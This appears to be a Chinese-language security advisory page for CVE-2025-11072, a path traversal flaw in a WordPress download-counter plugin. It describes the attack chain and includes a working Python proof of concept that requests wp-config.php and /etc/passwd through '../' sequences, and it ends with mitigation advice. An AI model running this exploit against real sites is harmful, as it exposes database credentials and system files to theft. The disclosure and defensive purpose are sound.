IPBUF安全漏洞报告
English
CVE-2025-11072 CVSS 5.3 中危

CVE-2025-11072: WordPress MelAbu Download Counter Button插件路径遍历任意文件读取漏洞

披露日期: 2025-11-05

漏洞信息

漏洞编号
CVE-2025-11072
漏洞类型
路径遍历/任意文件读取
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
MelAbu WP Download Counter Button WordPress插件

相关标签

CVE-2025-11072路径遍历任意文件读取WordPress插件漏洞MelAbu Download Counter Button未授权访问信息泄露CVSS 5.3中危漏洞

漏洞概述

MelAbu WP Download Counter Button是WordPress平台上一个用于管理下载计数的插件,该插件在1.8.6.7及之前版本中存在严重的路径遍历漏洞。由于插件在处理文件下载请求时未对用户提供的文件路径进行充分的验证和过滤,攻击者可以通过构造特殊的路径遍历序列(如../)来突破预期目录限制,访问服务器上的任意文件。此漏洞允许未认证的远程攻击者无需任何权限即可利用,成功利用可导致敏感配置文件、数据库凭证、系统文件等敏感信息泄露。该漏洞的CVSS评分为5.3,属于中等严重程度,但由于攻击复杂度低且无需认证,在实际环境中具有较高的利用价值。

技术细节

该漏洞存在于插件的文件下载功能模块中。当用户请求下载文件时,插件接收用户提供的文件名或路径参数,但未对其进行安全验证。攻击者可以利用路径遍历字符序列(如../或..\)来跳出预期的下载目录,访问服务器文件系统中的其他位置文件。插件直接使用用户输入拼接文件路径并执行读取操作,缺乏对路径规范化(realpath)和符号链接的安全处理。攻击者可以通过构造类似../../../etc/passwd的路径来读取Linux系统的用户密码文件,或使用类似路径访问wp-config.php等敏感配置文件。漏洞利用无需任何认证,攻击者可直接通过HTTP请求触发,配合自动化工具可快速扫描和批量利用。

攻击链分析

STEP 1
步骤1
信息收集:攻击者扫描目标WordPress站点,识别是否安装MelAbu WP Download Counter Button插件及其版本
STEP 2
步骤2
确定攻击面:定位插件的文件下载功能端点,常见路径为/wp-content/plugins/wp-download-counter-button/download.php
STEP 3
步骤3
构造恶意请求:攻击者构造包含路径遍历序列(../)的HTTP请求,如?file=../../../../wp-config.php
STEP 4
步骤4
发送漏洞利用请求:向目标服务器发送构造的HTTP GET请求,无需任何认证
STEP 5
步骤5
获取敏感文件:服务器直接使用未过滤的用户输入拼接文件路径,返回攻击者请求的任意文件内容
STEP 6
步骤6
横向移动:利用获取的配置文件中的数据库凭证、API密钥等敏感信息进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-11072 PoC - Path Traversal in MelAbu WP Download Counter Button # Target: WordPress site with vulnerable MelAbu Download Counter Button plugin def check_vulnerability(base_url): """Check if target is vulnerable to CVE-2025-11072""" # Common WordPress plugin download endpoint patterns paths_to_try = [ '/wp-content/plugins/wp-download-counter-button/download.php', '/wp-content/plugins/wp-download-counter-button/inc/download.php', '/wp-content/plugins/wp-download-counter/download.php', '/wp-content/plugins/download-counter-button/download.php' ] # Target files to read (using path traversal) target_files = [ '../../../../wp-config.php', # WordPress config file '../../../../etc/passwd', # Linux system file ] for path in paths_to_try: for target in target_files: url = base_url.rstrip('/') + path params = {'file': target} # Common parameter name try: response = requests.get(url, params=params, timeout=10, verify=False) # Check if file content was returned if response.status_code == 200: content = response.text # Validate if we got actual file content if 'wp-config.php' in target and 'DB_NAME' in content: print(f'[+] VULNERABLE! Found wp-config.php at: {url}') print(f'[+] File content preview:\n{content[:500]}...') return True elif 'passwd' in target and 'root:' in content: print(f'[+] VULNERABLE! Found /etc/passwd at: {url}') print(f'[+] File content preview:\n{content[:500]}...') return True except requests.exceptions.RequestException as e: print(f'[-] Error testing {url}: {e}') print('[-] Target does not appear to be vulnerable') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url>') print(f'Example: python {sys.argv[0]} http://target.com') sys.exit(1) target = sys.argv[1] print(f'[*] Testing target: {target}') print(f'[*] CVE-2025-11072 - Path Traversal in MelAbu WP Download Counter Button\n') check_vulnerability(target)

影响范围

MelAbu WP Download Counter Button插件 <= 1.8.6.7

防御指南

临时缓解措施
在官方补丁发布前,建议临时禁用MelAbu WP Download Counter Button插件,或通过Web应用防火墙(WAF)规则阻止包含路径遍历序列(../、..\)的请求参数。同时确保WordPress和所有插件保持最新版本,定期检查文件系统权限配置,限制Web服务用户对敏感文件的读取权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表